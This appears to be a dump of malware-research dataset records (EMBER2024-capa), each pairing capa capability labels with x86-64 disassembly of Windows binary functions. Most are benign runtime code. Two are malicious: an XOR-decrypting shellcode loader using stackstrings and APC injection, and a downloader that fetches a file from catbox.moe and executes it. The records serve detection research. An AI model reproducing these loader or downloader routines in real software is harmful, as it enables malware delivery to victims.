joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140065d30
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x70
mov rax, qword [0x140103040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rsi, qword [0x14012d3f0]
mov rbp, rcx
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x140065f4f
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x140065f4f
mov qword [rsp + 0x80], rbx
mov ecx, 0x50
mov qword [rsp + 0x88], rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, qword [0x14012d3f0]
xor ebx, ebx
mov rdi, rax
test r8, r8
je 0x140065e04
movsx rdx, word [r8 + 0x5490]
lea rax, [r8 + 0x5494]
mov r9d, dword [r8 + 0x3ff0]
lea rax, [rax + rdx*8]
cmp dword [rax], r9d
je 0x140065df9
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x5490], cx
movsx rax, cx
lea rax, [rax*8 + 0x5494]
add rax, r8
mov dword [rax], r9d
mov dword [rax + 4], ebx
inc word [rax + 4]
inc dword [r8 + 0x5488]
test rdi, rdi
je 0x140065e21
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
movups xmmword [rdi + 0x40], xmm0
jmp 0x140065e24
mov rdi, rbx
or dword [rsi + 0xc], 6
lea rax, [0x1400f2b98]
mov qword [rsi + 0x88], rax
mov qword [rsi + 0x98], rdi
mov qword [rdi], rbp
mov rax, qword [rsp + 0x58]
mov qword [rdi + 0x20], rax
mov rax, qword [rsp + 0x60]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
test r8, r8
je 0x140065e67
mov rsi, qword [r8 + 0x98]
jmp 0x140065e6a
mov rsi, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
shr rax, 0x10
mov r9d, 4
movzx ecx, ax
lea r8, [rsi + 0x2c]
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x140065e95
mov dword [rsi + 0x2c], ebx
mov rax, qword [0x14012d3f0]
mov rcx, qword [rax + 0x4bd8]
mov rax, qword [rdi]
mov rdx, qword [rcx]
mov qword [rdx + 0x30], rax
mov qword [rdx + 0x28], rax
lea rax, str.xinput1_4.dll
mov qword [rsp + 0x30], rax
lea rax, str.xinput1_3.dll
mov qword [rsp + 0x38], rax
lea rax, str.xinput9_1_0.dll
mov qword [rsp + 0x40], rax
lea rax, str.xinput1_2.dll
mov qword [rsp + 0x48], rax
lea rax, str.xinput1_1.dll
mov qword [rsp + 0x50], rax
mov byte [rdi + 0x31], 1
mov rcx, qword [rsp + rbx*8 + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x140065f0f
inc rbx
cmp rbx, 5
jl 0x140065ef1
jmp 0x140065f3b
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x38], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x48], rax
mov rdi, qword [rsp + 0x88]
mov al, 1
mov rbx, qword [rsp + 0x80]
jmp 0x140065f51
xor al, al
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14008acc0
mov rbp, qword [rsp + 0x90]
add rsp, 0x70
pop rsi
ret
Function at 0x14006c050
Capabilities:
Hash data with crc32

Disassembly:
mov rax, qword [0x14012d3f0]
mov rdx, qword [rax + 0x4ec8]
cmp ecx, 0xffffffff
jne 0x14006c06a
cmp dword [rdx + 0x74], ecx
cmovne ecx, dword [rdx + 0x74]
cmp ecx, dword [rdx + 0x6c]
mov eax, 0xffffffff
cmove ecx, eax
test byte [rdx + 4], 7
je 0x14006c0e9
mov r10d, dword [rdx]
lea r8, [0x1400f2c69]
movzx eax, word [rdx + 0x78]
lea r11, [0x1400ebcb0]
not r10d
mov word [rdx + 0x224], cx
mov ecx, r10d
mov byte [rdx + 0x23b], 1
mov word [rdx + 0x7a], ax
mov r9b, 0x23
nop dword [rax + rax]
cmp r9b, 0x23
jne 0x14006c0c3
cmp byte [r8], r9b
jne 0x14006c0c3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x14006c0b0
not ecx
xor edx, edx
jmp fcn.1400497f0
ret
Function at 0x14008a424
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14008a45e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14008a463
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14008a4ac
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14008fa20]
cmp byte [rcx + rax], 0
je 0x14008a4ac
dec r8
sub rdx, 1
jne 0x14008a492
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14008b860
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14008b8aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14008b8aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14008b8aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14008b8aa
cmp dword [rcx + 0x84], 0xe
jbe 0x14008b8aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14008b8ac
xor al, al
add rsp, 0x28
ret
Function at 0x140002114
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000215e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000215e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000215e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000215e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000215e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002160
xor al, al
add rsp, 0x28
ret
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000a870]
mov dword [rax], 1
mov rax, qword [0x14000a880]
mov dword [rax], 1
mov rax, qword [0x14000a890]
mov dword [rax], 1
mov rax, qword [0x14000a860]
mov dword [rax], 1
mov rax, qword [0x14000a720]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001bb0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x1400027e2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000f168]
test eax, eax
je 0x14000287a
lea rax, [0x14000f140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000f170]
mov qword [rbp - 8], rax
jmp 0x14000285e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002852
cmp qword [rbp - 0x10], 0
je 0x140002852
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002818
lea rax, [0x14000f140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000287b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140002980
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400029a8
mov eax, 0
jmp 0x1400029f6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400029d1
mov eax, 0
jmp 0x1400029f6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400029f1
mov eax, 0
jmp 0x1400029f6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x1400029fc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002a7a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002a71
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002a71
mov rax, qword [rbp - 8]
jmp 0x140002a8f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002a44
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001070
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdi, rcx
mov dword [rbp - 0x38], 0x74726956
lea rcx, [rbp - 0x58]
mov dword [rbp - 0x34], 0x416c6175
mov rbx, rdx
mov dword [rbp - 0x30], 0x636f6c6c
mov byte [rbp - 0x2c], 0
mov dword [rbp - 0x58], 0x6e72656b
mov dword [rbp - 0x54], 0x32336c65
mov dword [rbp - 0x50], 0x6c6c642e
mov byte [rbp - 0x4c], 0
mov dword [rbp - 0x18], 0x74726956
mov dword [rbp - 0x14], 0x506c6175
mov dword [rbp - 0x10], 0x65746f72
mov word [rbp - 0xc], 0x7463
mov byte [rbp - 0xa], 0
mov dword [rbp - 0x28], 0x75657551
mov dword [rbp - 0x24], 0x65735565
mov dword [rbp - 0x20], 0x43504172
mov byte [rbp - 0x1c], 0
mov dword [rbp - 0x48], 0x6554744e
mov dword [rbp - 0x44], 0x6c417473
mov dword [rbp - 0x40], 0x747265
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 4
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
call rax
xor ecx, ecx
mov rsi, rax
test rbx, rbx
je 0x14000118c
xor edx, edx
lea r11, [0x14000333c]
mov r9, rdi
mov r10, rbx
nop dword [rax + rax]
xor r8d, r8d
lea r9, [r9 + 1]
cmp ecx, 4
cmovb r8, rdx
movzx eax, byte [r8 + r11]
lea rdx, [r8 + 1]
xor byte [r9 - 1], al
xor eax, eax
cmp ecx, 4
cmovb eax, ecx
lea ecx, [rax + 1]
sub r10, 1
jne 0x140001160
mov r8, rbx
mov rdx, rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp - 0x60]
mov r8d, 0x40
mov rdx, rbx
mov rcx, rsi
call rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rcx, rsi
mov rdx, rax
call rbx
call rdi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001360
mov rbx, qword [rsp + 0xb0]
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001230
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x38
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [0x1400032d0]
lea rdx, str.C:UsersEDRUserDesktop_beacon.bin.enc
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
je 0x140001292
lea rdx, str.C:UsersEDRUserDesktop_beacon.bin.enc
lea rcx, str.Could_not_open_file:__s_n
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001360
add rsp, 0x38
ret
mov rcx, qword [rsp + 0x20]
xor edx, edx
mov qword [rsp + 0x40], rbx
mov r8d, 2
mov qword [rsp + 0x30], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, qword [rsp + 0x20]
xor r8d, r8d
xor edx, edx
movsxd rdi, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x1400012f7
lea rcx, str.Memory_allocation_failed_n
call fcn.140001010
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x14000132c
mov r9, qword [rsp + 0x20]
mov r8, rdi
mov edx, 1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdx, rdi
mov rcx, rbx
call fcn.140001070
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [rsp + 0x40]
xor eax, eax
mov rdi, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001360
add rsp, 0x38
ret

Function at 0x140001c20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c6a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c6c
xor al, al
add rsp, 0x28
ret
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x1400151e0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011262
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
jmp 0x140011820
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x30]
lea rcx, [0x1400220f2]
call fcn.140011366
nop
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:_sdfdgfsg.exe
lea rdx, str.https:__files.catbox.moe_8359r5.bin
xor ecx, ecx
call fcn.1400110dc
nop
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:_sdfdgfsg.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x14001126c
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012d10
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012d30
xor al, al
jmp 0x140012db1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012d43
xor al, al
jmp 0x140012db1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012d6d
xor al, al
jmp 0x140012db1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012d81
xor al, al
jmp 0x140012db1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012d93
xor al, al
jmp 0x140012db1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012daf
xor al, al
jmp 0x140012db1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011b10
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.14001138e
movzx eax, al
test eax, eax
jne 0x140011b30
mov ecx, 7
call fcn.14001130c
nop
mov byte [rsp + 0x20], 0
call fcn.140011320
mov byte [rsp + 0x21], al
cmp dword [0x14001c220], 1
jne 0x140011b54
mov ecx, 7
call fcn.14001130c
nop
jmp 0x140011bac
cmp dword [0x14001c220], 0
jne 0x140011ba7
mov dword [0x14001c220], 1
lea rdx, [0x140019660]
lea rcx, [0x140019330]
call fcn.14001119a
test eax, eax
je 0x140011b88
mov eax, 0xff
jmp 0x140011cb1
lea rdx, [0x140019220]
lea rcx, [section..rdata]
call fcn.140011316
mov dword [0x14001c220], 2
jmp 0x140011bac
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400112fd
call fcn.14001128f
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140011c09
mov rcx, qword [rsp + 0x30]
call fcn.140011159
movzx eax, al
test eax, eax
je 0x140011c09
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140023020]
nop
call fcn.1400112c1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140011c3d
mov rcx, qword [rsp + 0x38]
call fcn.140011159
movzx eax, al
test eax, eax
je 0x140011c3d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001134d
nop
call fcn.140011d60
mov dword [rsp + 0x28], eax
call fcn.14001126c
movzx eax, al
test eax, eax
jne 0x140011c5c
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140011c6b
call fcn.140011357
nop
xor edx, edx
mov cl, 1
call fcn.14001114a
mov eax, dword [rsp + 0x28]
jmp 0x140011cb1
add rsp, 0x68
ret
Function at 0x14000a370
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x140017060]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov dword [rsp + 0x30], 0x114
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x14000a3b0
mov eax, 0xff
jmp 0x14000a55b
mov r8d, dword [rsp + 0x3c]
and r8d, 0x7fff
mov r9d, dword [rsp + 0x40]
cmp r9d, 2
je 0x14000a3cc
bts r8d, 0xf
mov edx, dword [rsp + 0x34]
mov ecx, edx
shl ecx, 8
mov eax, dword [rsp + 0x38]
add ecx, eax
mov dword [0x140018cc8], r9d
mov dword [0x140018cd0], ecx
mov dword [0x140018cd4], edx
mov dword [0x140018cd8], eax
mov dword [0x140018ccc], r8d
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x14000a443
movsxd rax, dword [0x14000003c]
lea rcx, [0x140000000]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x14000a443
mov ecx, 0x20b
cmp word [rax + 0x18], cx
jne 0x14000a443
xor ebx, ebx
cmp dword [rax + 0x84], 0xe
jbe 0x14000a445
cmp dword [rax + 0xf8], ebx
setne bl
jmp 0x14000a445
xor ebx, ebx
mov dword [rsp + 0x20], ebx
mov edi, 1
mov ecx, edi
call fcn.14000c07c
test eax, eax
jne 0x14000a47b
cmp dword [0x14001871c], 2
je 0x14000a467
call fcn.14000be60
mov ecx, 0x1c
call fcn.14000beac
mov ecx, 0xff
call fcn.14000bab0
call fcn.14000b990
test eax, eax
jne 0x14000a4a7
cmp dword [0x14001871c], 2
je 0x14000a492
call fcn.14000be60
mov ecx, 0x10
call fcn.14000beac
mov ecx, 0xff
call fcn.14000bab0
nop
call fcn.14000c0f0
test eax, eax
jns 0x14000a4ba
mov ecx, 0x1b
call fcn.14000bacc
call sub.KERNEL32.dll_GetCommandLineW
mov qword [0x14001a8d0], rax
call fcn.14000c890
mov qword [0x140018720], rax
call fcn.14000c38c
test eax, eax
jns 0x14000a4e5
mov ecx, 8
call fcn.14000bacc
call fcn.14000c66c
test eax, eax
jns 0x14000a4f8
mov ecx, 9
call fcn.14000bacc
mov ecx, edi
call fcn.14000bb2c
test eax, eax
je 0x14000a50a
mov ecx, eax
call fcn.14000bacc
mov r8, qword [0x140018cb8]
mov qword [0x140018ce8], r8
mov rdx, qword [0x140018cb0]
mov ecx, dword [0x140018cac]
call fcn.140006490
mov edi, eax
mov dword [rsp + 0x24], eax
test ebx, ebx
jne 0x14000a53b
mov ecx, eax
call fcn.14000be50
call fcn.14000bb18
jmp 0x14000a559
mov eax, edi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14000a5c0
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
sub rsp, 0x28
call fcn.14019a000
add rsp, 0x28
jmp 0x14000a370

Function at 0x14000b06c
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x14000ba44
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14000bcc0